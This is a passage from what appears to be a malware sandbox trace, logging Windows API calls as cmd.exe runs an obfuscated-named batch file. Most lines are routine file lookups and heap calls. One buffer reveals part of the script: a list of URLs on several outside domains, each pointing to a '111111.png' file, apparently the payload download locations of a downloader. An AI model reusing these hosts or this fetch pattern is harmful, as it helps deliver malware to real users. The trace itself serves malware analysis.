lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.866] GetLastError () returned 0x2 [0211.866] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.866] GetLastError () returned 0x2 [0211.897] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.897] GetLastError () returned 0x2 [0211.897] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.898] GetLastError () returned 0x2 [0211.898] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.898] GetLastError () returned 0x2 [0211.898] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.898] GetLastError () returned 0x2 [0211.898] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.899] GetLastError () returned 0x2 [0211.899] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.899] GetLastError () returned 0x2 [0211.899] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d1b0 [0211.899] FindClose (in: hFindFile=0x20b0f92d1b0 | out: hFindFile=0x20b0f92d1b0) returned 1 [0211.899] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.899] GetLastError () returned 0x2 [0211.899] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.900] GetLastError () returned 0x2 [0211.900] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.900] GetLastError () returned 0x2 [0211.900] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.900] GetLastError () returned 0x2 [0211.900] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.900] GetLastError () returned 0x2 [0211.901] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.901] GetLastError () returned 0x2 [0211.901] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.901] GetLastError () returned 0x2 [0211.901] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.901] GetLastError () returned 0x2 [0211.901] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.901] GetLastError () returned 0x2 [0211.902] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.902] GetLastError () returned 0x2 [0211.902] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.902] GetLastError () returned 0x2 [0211.902] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.902] GetLastError () returned 0x2 [0211.902] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.903] GetLastError () returned 0x2 [0211.903] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.903] GetLastError () returned 0x2 [0211.903] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.903] GetLastError () returned 0x2 [0211.903] ??_V@YAXPEAX@Z () returned 0x1 [0211.904] _get_osfhandle (_FileHandle=2) returned 0x54 [0211.904] GetFileType (hFile=0x54) returned 0x2 [0211.904] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0211.904] _get_osfhandle (_FileHandle=2) returned 0x54 [0211.904] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0211.905] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0211.905] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0211.905] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0211.911] ??_V@YAXPEAX@Z () returned 0x1 [0211.912] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.912] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0211.912] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.912] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0211.913] _get_osfhandle (_FileHandle=0) returned 0x4c [0211.913] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0211.913] SetConsoleInputExeNameW () returned 0x1 [0211.913] GetConsoleOutputCP () returned 0x1b5 [0211.913] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0211.914] SetThreadUILanguage (LangId=0x0) returned 0x409 [0211.917] ??_V@YAXPEAX@Z () returned 0x1 [0211.918] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0211.918] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0211.919] _get_osfhandle (_FileHandle=3) returned 0x9c [0211.919] SetFilePointer (in: hFile=0x9c, lDistanceToMove=2882, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb42 [0211.919] GetProcessHeap () returned 0x20b0f920000 [0211.919] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d690) returned 1 [0211.919] GetProcessHeap () returned 0x20b0f920000 [0211.919] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9269b0) returned 1 [0211.919] GetProcessHeap () returned 0x20b0f920000 [0211.919] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e0d0) returned 1 [0211.919] GetProcessHeap () returned 0x20b0f920000 [0211.919] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0211.920] GetProcessHeap () returned 0x20b0f920000 [0211.920] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9578c0) returned 1 [0211.920] GetProcessHeap () returned 0x20b0f920000 [0211.920] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0211.921] GetProcessHeap () returned 0x20b0f920000 [0211.921] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d600) returned 1 [0211.921] GetProcessHeap () returned 0x20b0f920000 [0211.921] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0211.921] GetProcessHeap () returned 0x20b0f920000 [0211.921] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 [0211.921] GetProcessHeap () returned 0x20b0f920000 [0211.921] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0211.922] GetProcessHeap () returned 0x20b0f920000 [0211.922] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f926ea0) returned 1 [0211.922] GetProcessHeap () returned 0x20b0f920000 [0211.922] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f50) returned 1 [0211.922] GetProcessHeap () returned 0x20b0f920000 [0211.922] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0211.922] _get_osfhandle (_FileHandle=3) returned 0x9c [0211.922] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb42 [0211.922] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0xc73, lpOverlapped=0x0) returned 1 [0211.922] SetFilePointer (in: hFile=0x9c, lDistanceToMove=2973, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb9d [0211.922] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=91, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 91 [0211.922] _get_osfhandle (_FileHandle=3) returned 0x9c [0211.922] GetFileType (hFile=0x9c) returned 0x1 [0211.922] _get_osfhandle (_FileHandle=3) returned 0x9c [0211.923] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb9d [0211.923] GetProcessHeap () returned 0x20b0f920000 [0211.923] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0211.923] GetProcessHeap () returned 0x20b0f920000 [0211.923] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0211.923] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0211.923] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0211.923] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0211.923] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0211.923] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0211.923] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0211.923] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0211.923] GetProcessHeap () returned 0x20b0f920000 [0211.924] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0211.924] GetProcessHeap () returned 0x20b0f920000 [0211.924] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f956f50 [0211.924] GetProcessHeap () returned 0x20b0f920000 [0211.924] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb4) returned 0x20b0f926ea0 [0211.924] _tell (_FileHandle=3) returned 2973 [0211.924] _close (_FileHandle=3) returned 0 [0211.924] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0211.924] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.924] GetFileType (hFile=0x50) returned 0x2 [0211.924] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0211.925] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.925] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0211.931] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0211.931] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0211.931] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0211.931] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.931] GetFileType (hFile=0x50) returned 0x2 [0211.931] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0211.932] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.932] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0211.932] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.932] GetFileType (hFile=0x50) returned 0x2 [0211.932] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0211.932] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.932] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f956f60*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f956f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0211.933] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 82 [0211.933] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.933] GetFileType (hFile=0x50) returned 0x2 [0211.933] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0211.933] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.933] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x52, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x52) returned 1 [0211.934] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0211.934] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.934] GetFileType (hFile=0x50) returned 0x2 [0211.934] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0211.934] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.934] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0211.939] malloc (_Size=0xffce) returned 0x20b0fa60940 [0211.946] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0211.947] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0211.947] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0211.947] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0211.947] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0211.947] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0211.947] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0211.947] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0211.947] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0211.947] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0211.947] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0211.947] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0211.947] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0211.947] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0211.948] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0211.948] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0211.948] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0211.948] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0211.948] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0211.948] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0211.948] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0211.948] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0211.948] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0211.948] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0211.948] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0211.948] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0211.948] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0211.948] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0211.948] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0211.948] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0211.948] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0211.948] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0211.948] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0211.948] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0211.948] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0211.948] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0211.948] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0211.948] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0211.948] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0211.948] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0211.948] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0211.949] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0211.949] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0211.949] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0211.949] malloc (_Size=0xffce) returned 0x20b0fa70920 [0211.955] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0211.957] GetProcessHeap () returned 0x20b0f920000 [0211.958] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0211.960] SetErrorMode (uMode=0x0) returned 0x0 [0211.960] SetErrorMode (uMode=0x1) returned 0x0 [0211.960] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0211.960] SetErrorMode (uMode=0x0) returned 0x1 [0211.961] GetProcessHeap () returned 0x20b0f920000 [0211.961] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0211.961] GetProcessHeap () returned 0x20b0f920000 [0211.961] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0211.961] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0211.961] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0211.961] GetProcessHeap () returned 0x20b0f920000 [0211.961] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92ca50 [0211.961] GetProcessHeap () returned 0x20b0f920000 [0211.961] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0211.961] GetProcessHeap () returned 0x20b0f920000 [0211.961] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0211.961] GetProcessHeap () returned 0x20b0f920000 [0211.961] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0211.961] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0211.961] GetProcessHeap () returned 0x20b0f920000 [0211.961] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d600 [0211.962] GetProcessHeap () returned 0x20b0f920000 [0211.962] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d600, Size=0x7e) returned 0x20b0f92d600 [0211.962] GetProcessHeap () returned 0x20b0f920000 [0211.962] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d600) returned 0x7e [0211.962] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d150 [0211.962] FindClose (in: hFindFile=0x20b0f92d150 | out: hFindFile=0x20b0f92d150) returned 1 [0211.962] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.963] GetLastError () returned 0x2 [0211.963] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.963] GetLastError () returned 0x2 [0211.963] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.963] GetLastError () returned 0x2 [0211.963] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.963] GetLastError () returned 0x2 [0211.963] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.964] GetLastError () returned 0x2 [0211.964] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.964] GetLastError () returned 0x2 [0211.964] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", 